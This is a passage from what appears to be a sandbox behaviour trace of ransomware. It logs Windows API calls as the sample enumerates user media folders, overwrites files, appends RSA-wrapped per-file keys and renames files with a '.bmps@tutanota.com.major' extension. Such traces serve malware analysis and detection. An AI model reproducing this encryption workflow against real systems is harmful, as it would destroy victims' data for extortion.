(in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8c640 | out: hHeap=0x570000) returned 1 [0192.435] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2daf [0192.435] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.435] WriteFile (in: hFile=0x9e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.435] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.435] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VLJn/cIKeOezIrPsXaneDJPpeRgB/4QXvWkDxOhVITRvRMUZo3WlYANuAW0Qw9MT\nPXPhS+w3rNpyZzetaDkmA2lG0koFCpJ/8wZOHk6jJRollN/J563MQn6DIUL/2Xhy\nfrMjfmBha0IGpwLSx5XS8NQ7FekN8Gg0tLvdBOPxDRVssjcmG0XUMinwDV9oM9OM\n/tIVLTnBIaiBjH+my3DxEE5vESzcP3YPGaFNxFKSVoPxGE4mlr6OGqsGWPBKKhNp\nRjFwBLAFQ/cp/TfTTBf9PCWot9p7h3tm4Fl7+OgpT7Pz5nSnQh1kceKjS2/TA/ZS\nE3GV5gftmFF3j7/OQZJbkA==\n", pcchString=0x2e3f9a8) returned 1 [0192.435] WriteFile (in: hFile=0x9e8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.435] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.435] WriteFile (in: hFile=0x9e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.436] CloseHandle (hObject=0x9e8) returned 1 [0192.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.436] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\wCu _u3xF7MJ9.wav" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\izri6tnv\\wcu _u3xf7mj9.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\wCu _u3xF7MJ9.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\izri6tnv\\wcu _u3xf7mj9.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c4d0 | out: hHeap=0x570000) returned 1 [0192.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.437] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0192.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0192.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0192.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0192.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e98 | out: hHeap=0x570000) returned 1 [0192.438] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0fea960, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xe440ee0, ftLastAccessTime.dwHighDateTime=0x1d4ce6f, ftLastWriteTime.dwLowDateTime=0x24ccb181, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f869a8 [0192.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0192.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0192.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0192.438] GetLastError () returned 0x0 [0192.438] SetLastError (dwErrCode=0x0) [0192.438] GetLastError () returned 0x0 [0192.438] SetLastError (dwErrCode=0x0) [0192.438] GetLastError () returned 0x0 [0192.438] SetLastError (dwErrCode=0x0) [0192.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0192.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0192.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0192.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.438] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f86f28 [0192.438] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f86f28 | out: hHeap=0x570000) returned 1 [0192.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0192.439] FindNextFileW (in: hFindFile=0x2f869a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0fea960, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xe440ee0, ftLastAccessTime.dwHighDateTime=0x1d4ce6f, ftLastWriteTime.dwLowDateTime=0x24ccb181, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0192.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0192.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0192.439] GetLastError () returned 0x0 [0192.439] SetLastError (dwErrCode=0x0) [0192.439] GetLastError () returned 0x0 [0192.439] SetLastError (dwErrCode=0x0) [0192.439] GetLastError () returned 0x0 [0192.439] SetLastError (dwErrCode=0x0) [0192.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0192.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be370 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0192.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f86f28 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f86f28 | out: hHeap=0x570000) returned 1 [0192.439] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0192.439] FindNextFileW (in: hFindFile=0x2f869a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d7f880, ftCreationTime.dwHighDateTime=0x1d4c7fb, ftLastAccessTime.dwLowDateTime=0xaacf6430, ftLastAccessTime.dwHighDateTime=0x1d4d0ea, ftLastWriteTime.dwLowDateTime=0xaacf6430, ftLastWriteTime.dwHighDateTime=0x1d4d0ea, nFileSizeHigh=0x0, nFileSizeLow=0x46d8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Bs9XCZYYhCNz9ejd3.swf", cAlternateFileName="BS9XCZ~1.SWF")) returned 1 [0192.439] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.440] GetLastError () returned 0x0 [0192.440] SetLastError (dwErrCode=0x0) [0192.440] GetLastError () returned 0x0 [0192.440] SetLastError (dwErrCode=0x0) [0192.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0192.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.440] GetLastError () returned 0x0 [0192.440] SetLastError (dwErrCode=0x0) [0192.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0192.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0192.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2ee3688 [0192.440] FindNextFileW (in: hFindFile=0x2f869a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec411d0, ftCreationTime.dwHighDateTime=0x1d4d234, ftLastAccessTime.dwLowDateTime=0xe85b50b0, ftLastAccessTime.dwHighDateTime=0x1d4c8a3, ftLastWriteTime.dwLowDateTime=0xe85b50b0, ftLastWriteTime.dwHighDateTime=0x1d4c8a3, nFileSizeHigh=0x0, nFileSizeLow=0x93e5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Cab_myA.swf", cAlternateFileName="")) returned 1 [0192.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0192.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0192.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0192.440] GetLastError () returned 0x0 [0192.440] SetLastError (dwErrCode=0x0) [0192.440] GetLastError () returned 0x0 [0192.440] SetLastError (dwErrCode=0x0) [0192.440] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0192.440] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0192.440] GetLastError () returned 0x0 [0192.440] SetLastError (dwErrCode=0x0) [0192.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0192.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0192.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65ca00 [0192.441] FindNextFileW (in: hFindFile=0x2f869a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ccb181, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24ccb181, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24ccb181, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0192.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0192.441] GetLastError () returned 0x0 [0192.441] SetLastError (dwErrCode=0x0) [0192.441] GetLastError () returned 0x0 [0192.441] SetLastError (dwErrCode=0x0) [0192.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0192.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.441] GetLastError () returned 0x0 [0192.441] SetLastError (dwErrCode=0x0) [0192.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.441] FindNextFileW (in: hFindFile=0x2f869a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36e7af0, ftCreationTime.dwHighDateTime=0x1d4c7e4, ftLastAccessTime.dwLowDateTime=0xa469b3a0, ftLastAccessTime.dwHighDateTime=0x1d4c624, ftLastWriteTime.dwLowDateTime=0xa469b3a0, ftLastWriteTime.dwHighDateTime=0x1d4c624, nFileSizeHigh=0x0, nFileSizeLow=0x6e9e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="XPRuUeRYrM2_PLX.mkv", cAlternateFileName="XPRUUE~1.MKV")) returned 1 [0192.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.441] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.441] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.441] GetLastError () returned 0x0 [0192.441] SetLastError (dwErrCode=0x0) [0192.441] GetLastError () returned 0x0 [0192.441] SetLastError (dwErrCode=0x0) [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0192.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.442] GetLastError () returned 0x0 [0192.442] SetLastError (dwErrCode=0x0) [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0192.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f892f0 [0192.442] FindNextFileW (in: hFindFile=0x2f869a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d909e90, ftCreationTime.dwHighDateTime=0x1d4cf73, ftLastAccessTime.dwLowDateTime=0xeeb64ff0, ftLastAccessTime.dwHighDateTime=0x1d4c691, ftLastWriteTime.dwLowDateTime=0xeeb64ff0, ftLastWriteTime.dwHighDateTime=0x1d4c691, nFileSizeHigh=0x0, nFileSizeLow=0xb54b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Y0P1TehJkjRrx.mp4", cAlternateFileName="Y0P1TE~1.MP4")) returned 1 [0192.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.442] GetLastError () returned 0x0 [0192.442] SetLastError (dwErrCode=0x0) [0192.442] GetLastError () returned 0x0 [0192.442] SetLastError (dwErrCode=0x0) [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0192.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.442] GetLastError () returned 0x0 [0192.442] SetLastError (dwErrCode=0x0) [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0192.442] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89638 [0192.442] FindNextFileW (in: hFindFile=0x2f869a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d909e90, ftCreationTime.dwHighDateTime=0x1d4cf73, ftLastAccessTime.dwLowDateTime=0xeeb64ff0, ftLastAccessTime.dwHighDateTime=0x1d4c691, ftLastWriteTime.dwLowDateTime=0xeeb64ff0, ftLastWriteTime.dwHighDateTime=0x1d4c691, nFileSizeHigh=0x0, nFileSizeLow=0xb54b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Y0P1TehJkjRrx.mp4", cAlternateFileName="Y0P1TE~1.MP4")) returned 0 [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89590 [0192.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.443] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.443] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Y0P1TehJkjRrx.mp4", dwFileAttributes=0x80) returned 1 [0192.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f896e0 [0192.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659e90 [0192.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f896e0 | out: hHeap=0x570000) returned 1 [0192.443] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Y0P1TehJkjRrx.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\y0p1tehjkjrrx.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ec [0192.444] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=46411) returned 1 [0192.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb54b) returned 0x2f89888 [0192.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb54b) returned 0x2f94de0 [0192.444] ReadFile (in: hFile=0x9ec, lpBuffer=0x2f89888, nNumberOfBytesToRead=0xb54b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0xb54b, lpOverlapped=0x0) returned 1 [0192.445] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=-46411, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.445] WriteFile (in: hFile=0x9ec, lpBuffer=0x2f94de0*, nNumberOfBytesToWrite=0xb54b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f94de0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb54b, lpOverlapped=0x0) returned 1 [0192.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f94de0 | out: hHeap=0x570000) returned 1 [0192.446] SetFilePointer (in: hFile=0x9ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb54b [0192.446] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.446] WriteFile (in: hFile=0x9ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.446] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.446] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.446] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.447] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZkugfQwAlNwSeR7fO/RGkL+KQ6mqlwUE+R7+dYrE3EFP3/0mrw9SmINRD+4e5ymm\nwoshWlRM5/rDcBkp9/a1LTSzSpWnt9WZjpo9e5xB6+kgCZE4SIQYyytV+6RAFRlX\nqxqQ1ASJRdieU0uJKZx1Q4Eo5CK2CKDz5kD/7xw0YiWjQ9APKx7N4jYSinoxEz3T\nWzro+5xCAHfUoK/UYj2mWag7SPRAO0d2ZFxFjlJtg/kImFmfcubx/ATU+6GKcsnc\nE5JHCXfzKFiXr4DPIEfi1BGMcegZkviYUQAWZu2jE+ZTPNRsEJUAo/nd6NAFLqvv\nFHyyiNsSoi2pMmsjyVqglA==\n", pcchString=0x2e3f9a8) returned 1 [0192.447] WriteFile (in: hFile=0x9ec, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.447] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.447] WriteFile (in: hFile=0x9ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.447] CloseHandle (hObject=0x9ec) returned 1 [0192.447] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.447] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Y0P1TehJkjRrx.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\y0p1tehjkjrrx.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\Y0P1TehJkjRrx.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\y0p1tehjkjrrx.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659e90 | out: hHeap=0x570000) returned 1 [0192.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89590 | out: hHeap=0x570000) returned 1 [0192.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89638 | out: hHeap=0x570000) returned 1 [0192.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88f00 [0192.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.449] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.449] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\XPRuUeRYrM2_PLX.mkv", dwFileAttributes=0x80) returned 1 [0192.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f894e8 [0192.449] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0192.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f894e8 | out: hHeap=0x570000) returned 1 [0192.450] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\EolgHvXR\\YqJBnk1IxCci\\iBNG27op_RuCL\\XPRuUeRYrM2_PLX.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\eolghvxr\\yqjbnk1ixcci\\ibng27op_rucl\\xpruueryrm2_plx.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 